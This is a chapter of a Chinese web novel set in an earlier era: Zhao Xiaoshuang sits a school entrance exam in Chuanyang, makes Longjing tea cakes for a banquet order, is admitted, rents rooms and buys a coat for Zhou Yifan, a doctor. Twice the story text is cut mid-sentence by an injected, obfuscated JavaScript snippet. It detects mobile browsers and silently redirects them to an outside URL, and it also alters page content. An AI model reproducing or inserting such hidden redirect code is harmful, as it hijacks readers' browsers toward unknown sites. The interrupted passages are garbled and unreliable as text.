等到了川阳市已经快晚上，川阳市没下雪，但地面上也有积水泥泞，明显下过小雨，两个人趁天黑之前找到了一个离学校不远的招待所，各自开了一间房收拾收拾就住下了，林建华临睡之前还又把自己的数学错题本翻了一遍，赵小霜则早早地睡下了。 还剩两天就要考试了，林建华心里还是紧张的，赵小霜却完全没有考前的焦虑，她第二天醒了就坐公交去了市中心，该复习的她也差不多复习好了，今天她要去逛一逛，看能不能找点商机出来，毕竟考上以后，她也还是要挣钱的，机会总是留给有准备的人，提前看看总是好的。川阳市的温度比林家庄高，赵小霜把棉衣叠起来收好，套上了毛衣就出门了。 她这次还从家里带了一些自己做的小甜点，用大舅给做的模具新做了一些绿豆糕，用完了家里最后一罐桂花蜜，又多加了一些糖，这样保存的时间能更长一些，准备去国营饭店送给当时比较交好的同事，以后有什么事儿也能互相帮衬。 没成想，刚上公交车，就看到了一个熟悉的面容，是徐君丽！上次在车站结识的砖瓦厂女工人，徐君丽看到她，也是格外激动：“赵同志！好久不见啊！” 赵小霜买了车票，坐到她的旁边，徐君丽今天要去市中心买衣服，川阳市虽说比林家庄暖和，最近也开始降温了，徐君丽还穿着个薄薄的毛衣加劳动布外套，她这几天正好发了工资，想着今天要去百货大楼买件厚大衣，没成想就在车上遇到了赵小霜。 得知赵小霜后天就要考试，徐君丽本想拉着她一块去逛街，也摆了摆手：“那还是考试要紧，你是去川阳市一中吗？我有亲戚在那读书，听说很不错。” 赵小霜摇摇头：“我报的机械厂附中，是考试入学。”徐君丽已经高中毕业两三年了，也不知道现在学校的情况，川阳市她也才来一个月，就更不知道了，她挠挠头：“我也不太清楚这边的情况，不过高中毕业以后应该都能分配进厂……对了，你的住处找好了吗？” “还没呢，考完试再找吧，万一考不上，我就回家去了。” 徐君丽拍拍她的手背：“别说丧气话，你肯定没问题。” 眼看快到国营饭店了，赵小霜分了一些绿豆糕给徐君丽，就先行下车了。 再次回到国营饭店的后厨，赵小霜只觉得非常亲切，上个月和大家的相处虽然短暂，但也一起经历了不少事情，看到赵小霜回来，几个人都凑上前对她嘘寒问暖，徐师傅手头还在处理猪肚，远远地点了点头。 赵小霜和几个人寒暄了一阵，把自己做的桂花绿豆糕分给大家，给徐师傅也拿了几块，就准备回酒店了，刚出门，徐师傅就出来喊住了她：“赵小霜，最近有个地方办酒席，需要做点甜点，我没有空，你方不方便接？” 那当然是方便的了，赵小霜连忙点头：“可以可以，不过我后天考试，这个什么时候要？” “大后天中午之前吧，做龙井茶糕，不要太甜就行。” 徐师傅这是对她有多信任啊，也不问她会不会做，赵小霜明确了一下需求，觉得没有问题，就答应了下来，但她这次来川阳市没有带林建业给刻的模具，徐师傅又折回后厨，给赵小霜拿了两个木制的糕点模具。 赵小霜道过谢就坐车走了，川阳市比西顺县大了有四五倍不止，她一直溜达，也没找到像西顺县黑市那样的巷子，但街道边零零星星也有几家小饭庄，基本都是家庭经营模式，做的也都是普通家常菜，赵小霜边走边看，川阳市的城市建设比较好，思想也开放一些，街道边还有可以烫发的理发店，还看到了新华书店和报社，这在西顺县是完全没有的。 调研了一整天，赵小霜腿都走酸了，第二天就压根没出门，在招待所乖乖做了两套卷子，背了背公式，还又写了一篇作文练手。 考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109225|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试当天天气非常好，赵小霜穿着毛衣甚至有些热，川阳市和林家庄的温度差距真的很大，赵小霜记得之前夏天这里也总是又闷又热的。这次考试一共考四门，数学，语文，政治和理化，物理和化学都是合在一张卷子上考的，基本上考了整整一天。中午拿着准考证还可以到食堂吃顿饭，虽然只有玉米面窝窝头和土豆烩菜，但毕竟是免费的，吃完了也能在图书馆坐着休息休息，比出去找地方吃要方便许多。 赵小霜的数学一直不怎么好，过去的基础也比较差，虽然复习了一个月，短时间内也不可能补得起来，但好在理化和语文政治不算太难，最后也都写完了，赵小霜自认为答得还可以，最后一门考试结束的铃声响起时，赵小霜把笔收好，满意地走出了考场。 考完试第二天才能出成绩和录取结果，赵小霜和林建华简单聊了两句，就坐公交去国营商店了了，徐师傅那一批龙井茶糕要明天上午送过去，她得赶紧去买材料，在今天晚上做好。 龙井茶糕其实和桂花绿豆糕很像，主要的材料都是绿豆，但还得买一些牛奶和糯米粉，听徐师傅说这次的客户对甜品的要求比较高，赵小霜也咬咬牙买了两块八元一斤的龙井茶叶。 回到自己的招待所，赵小霜找后厨借了盆和锅，把绿豆用清水泡上，豆子至少要泡五六个小时，这中间赵小霜又出去借了一个小石磨和研钵，把买来的绿茶叶打磨成细腻丝滑的茶粉。 等绿豆泡的脱皮了，天色也已经黑了，把绿豆上锅蒸成绿豆泥，放到小铁锅里拌上茶粉，小火慢慢炒，这个时候龙井茶的香味儿就已经随着火气散发了出来，整个绿豆泥团变成了漂亮的墨绿色，再陆续倒进去一点牛奶和白糖，炒到不沾铲子，颜色变浅的时候就可以出锅放凉了。 赵小霜又另外再取了一些糯米粉，蒸了几个长山药，去皮以后和糯米粉、少量的白糖、奶粉混成泥，放进洗干净的锅里炒熟，和绿豆泥差不多的状态，分开以后搓成小条。 这样取一团绿色的绿豆泥，再取一条白色的山药泥，稍微混合一下，保留颜色的区分，放进模具里压实推出来，底部沾上一点熟糯米粉，一块龙井茶糕就做好了。 这样做出来的茶糕吃起来茶香十足，入口有浓郁的龙井茶味儿，还带一丝回甘，有奶粉和白糖，也不会有苦味儿。白色的部分比茶糕的部分要更香甜更浓郁一些，正好中和了茶粉的涩，正适合冬天搭配着热茶品味。 徐师傅给赵小霜的模具是带着祥云纹样的传统木制模具，做出来的茶糕就像是深水湖和森林的意象，上边若隐若现的白色部分就像是飘渺的云雾，又像是飘下来的雪花，配合上凹凸的纹样，整个茶糕显得精致又有意境，简直像一件艺术品了。 赵小霜很满意自己的小巧思，如果按照正常的糯米皮包绿豆馅来做，那就非常普通了，完全没有这种典雅幽静的意境。她把剩下的都做完，几乎已经是深夜，赵小霜把茶糕包装好，又把锅碗瓢盆洗干净放回去，自己随便洗漱了一下就倒头睡了。 41. 成功录取 第二天就是公布成绩的日子，一大早天还没亮，林建华就已经激动地睡不着了，他跑去赵小霜房间，把只睡了三个小时、困得迷迷糊糊的赵小霜拎起来，给她看昨天晚上买到的海鸥牌手表。 林建华也不是只知道读书的书呆子，自从赵小霜带着他做了几回买卖，他也对做生意有了点自己的小窍门。昨天晚上赵小霜做茶糕，林建华就在附近逛，赵小霜没找到黑市在哪，林建华倒是找到了，还低价买来了三块手表。 川阳市的管控更严格一些，所以黑市的地点常常变化，也基本上都是深夜才做交易。大多数人都只想赶紧把货物脱手，因此议价也更方便，走的是薄利多销的模式。从海港拿一块表大概四十块钱，到了川阳市一般就要六十几块钱了，但林建华硬生生搞价到了五十块钱一块，等回了西顺县转手卖掉，可以按一块手表六十五块钱卖，林建华留了一些底金，剩下的钱买了三块手表，这样一来一回，就可以挣到四十五块钱了。 赵小霜不禁感叹，她这个小舅还真是挺有商业头脑，比她胆子大多了。他这来一趟不光没花多少钱，还能挣一大笔。 林建华给赵小霜说完以后，小心翼翼地收好手表，两个人去楼下的早点摊吃了碗玉米碴子粥和茶叶蛋，眼看着成绩公布的时间快到了，就赶紧去了附中。 附中门口的告示栏已经围满了人，大家都着急地想看自己的成绩，简直水泄不通，赵小霜是挤不进去了，林建华个子高，他一眼就看到了前几栏上他的名字，各科都是100分的满分，林建华数学和理化都考了90分，语文差一点考了60分，政治65分，直接排在了第二名！ 林建华又趁着人来人往的往里挤了挤，顺着排名一路往下，终于也找到了赵小霜的名字，赵小霜的数学考得确实一般，只有61分，但理化考了85分，语文和政治都考了70分，排在了第二十六名，也是中上的位置，林建华挤出来告诉赵小霜这个好消息，赵小霜感觉非常满意，毕竟她只突击了一个月，能考出来这样的分数，已经是她超常发挥了，幸亏有周翊凡的复习笔记和试卷，不然她还真是有点不知道怎么复习呢。 当天下午，两人都成功拿到了录取通知书，林建华当初退学的时候就已经是高二了，这次考试成绩又很不错，可以直接从高二开始上学了，赵小霜就只能乖乖从高一开始念了，不过等明年恢复高考的时候，部分成绩优异的高一高二同学也是有报考名额的，只要赵小霜努力学个一整年，不怕成绩上不去。 拿到通知书以后，赵小霜又回招待所把龙井茶糕拿上，送去了国营饭店，去掉成本和公交路费，她一共挣了八块九毛钱，其实也不少了，但和林建华的手表比起来，就显得微薄了许多。不过赵小霜并不气馁，徐师傅以后会经常找她做甜品，这次只是个小单子，以后会越来越多，也算一个稳定的销售渠道，能帮她在初期站稳脚跟。 这下学校也定了，可以开始看房子了，学校本身是可以提供宿舍的，但赵小霜还需要做自己的小生意，在宿舍完全没有条件，而且她还要接妈妈和大舅也一起过来，租个房子会方便很多。 机械厂附近的房子都是职工宿舍或者公房，很少有出租的，因此赵小霜和林建华往偏远的地方寻摸了一阵，又往东走了有半个小时，就看到了村子里的那种自建房，这边应该是川阳市的城乡结合部，再远一点就是农村的耕地了。 两个人挨家挨户敲门问了一圈，还真让他们找着一家，这家的年轻人都外出务工了，家里只剩个年纪大的老奶奶，除了北边的主屋，其他房间都是空着的，虽然常年没人居住，但房子都被老奶奶打扫得一尘不染，除了家具有些破旧，赵小霜整体还是非常满意的，而且东边的房屋窗户很大，一开窗就能看到外边的大槐树。而且还有个院子，院子里种着不少蔬菜，还养了几只鸡鸭，虽不似城里的房子那么干净大气，但对赵小霜和林建华来说都有种在家的安心感。 得知租两间房只要六块钱，两个人几乎立刻就定下来了，距离开学还有差不多三个月的时间，所以赵小霜给了房东十元的定金，商量好过完年再搬家过来，到时候把自行车带上，骑车上下学也就二十来分钟，每天早起一会儿就行，时间上非常宽裕。 两件大事儿都办妥了，赵小霜心里轻快了不少，她准备去百货大楼逛一逛，给周翊凡买个礼物表示感谢，要不是周翊凡的笔记和卷子，赵小霜对这次的考试还真是没谱。 百货大楼的东西很多，但赵小霜逛了半天也没想好到底给他买点什么，逛到服装部的时候，她看到了一件黑色的毛呢大衣，整体的版型特别挺括，面料摸着却是细腻柔软的，剪裁也特别精致，赵小霜仿佛已经看到周翊凡穿着这件大衣的样子了。这个作为礼物应该非常不错，一问价格要63块钱一件，还要拿工业票，赵小霜不禁咋舌，但从认识周翊凡起，他就帮了她不少忙，也给她买过不少东西，虽然赵小霜不想欠人情，也隔三差五给他送东西，但毕竟都是吃食，不是很贵重，这次能顺利考上附中，也多亏了周翊凡的帮忙。 赵小霜已经逛了很久，没有看到什么合适的礼物，百货大楼也马上要关门了，因此赵小霜咬了咬牙，数出六十三块钱和工业票递给售货员，拎着包好的呢子大衣回招待所了。 林建华已经去车站买好了第二天上午回家的火车票，还买了一些川阳市的特产，收拾好东西，暂时没有学习考试的压力了，两个人难得睡了个轻松的觉。 第二天回了西顺县火车站，赵小霜让林建华先拿着东西回去了，她自己则去医院把东西送给周翊凡。 刚一进医院门，就遇到了之前想要衣服的两个小护士，她们已经有一个穿上了毛衣，估计是林秀英这两天送过来的，另一个小护士眼巴巴地和赵小霜撒娇：“小霜姐，能不能让林姨快点帮我织好呀，我钱都揣了好几天了。” 她把兜里的钱数出来四张递给赵小霜：“小霜姐，这是剩下的钱，我提前给你吧，我太想穿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124711|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我对象过几天要来呢……” 混纺羊毛的毛线两块钱一斤，一件衣服的成本在三块五毛钱左右，赵小霜和林秀英商量后定了一件毛衣九块钱，比商店卖的便宜了四块钱，品质款式还都远远超过商店的。上次她们俩一人给了五块钱的毛线钱，一个人还差四块钱，穿上毛衣的小护士美滋滋的：“前天林姨给我送过来的时候大家都夸我这个好看呢，小霜姐，林姨能不能再给我织个兔毛围巾？” 她从柜子里拿出来一个袋子，里边是毛茸茸的兔毛毛线：“这是我妈给我邮过来的，我自己也不会织，能不能让林姨帮我织一下？你放心，手工费我不会少出的。” 她也从兜里掏出来三块钱递给赵小霜：“毛衣的钱我前天已经给林姨了，这个当织围巾的手工费，你看够不够呀。” 织围巾比织毛衣简单多了，三块钱已经很高了，赵小霜替林秀英答应下来，拿着大包小包地去住院部找周翊凡了。 周翊凡今天不太忙，正坐在桌子前写着什么，看到赵小霜，他整个人的心情都好了不少，面上却不怎么显：“考完了？考的怎么样？” “还不错，多亏了你的笔记和试卷，给，我在川阳市给你买的。” 周翊凡把衣服接过去，放在了椅子上。考试前他俩百般劝说林秀英做的体检也出来了结果，周翊凡把报告放到桌子上：“胃炎，轻度营养不良，贫血，腰肌劳损，倒不是太严重，但不要干重活，胃炎是长期积累的，已经是慢性的了，不要吃辛辣刺激，多养一养。”他挨个给赵小霜讲着体检单子上的问题：“要是能弄着牛奶，就每天让林姨喝一杯热牛奶，养胃。” 听说没有什么大问题，赵小霜也松了一口气，周翊凡给林秀英开了几副消炎的膏药，让她回去给林秀英贴上，缓解肌肉疼痛。 赵小霜拿完药以后，看周翊凡的下巴好像又比之前的更瘦了，脸色也不像之前好，有些担心道：“这几天食堂吃的不好啊？” “你是在关心我吗？”周翊凡嘴角噙着笑意，说出话却可怜巴巴的：“最近特别忙，昨天做了三台手术，一白天都没吃饭。” “那怎么行？”赵小霜不自觉提高了声音：“那你今天晚上有手术吗？下班以后过来家里吃饭吧。” 周翊凡嘴角的笑意更深了，一双琥珀色的眼眸温柔地注视着赵小霜：“那当然好了，应该没有手术，我争取早点回去。” 这话说的好像林家庄已经是他家了一样，赵小霜被他盯得有点不自在：“我准备做酸菜火锅，你吃不吃啊。” 周翊凡点点头：“只要是你做的我都爱吃。” 之前怎么没发现周翊凡这人这么油嘴滑舌呢，赵小霜把体检单收起来，有些不自在地和周翊凡告了别，家里的酸菜估计正好能吃了，赵小霜去川阳市考试之前就已经惦记上了，今天她准备做个老式的那种酸菜白肉火锅，再铺上满满的肉丸子，加上粉丝一起煮，吃的时候蘸上蒜泥和麻酱，那味道，别提多酸爽了。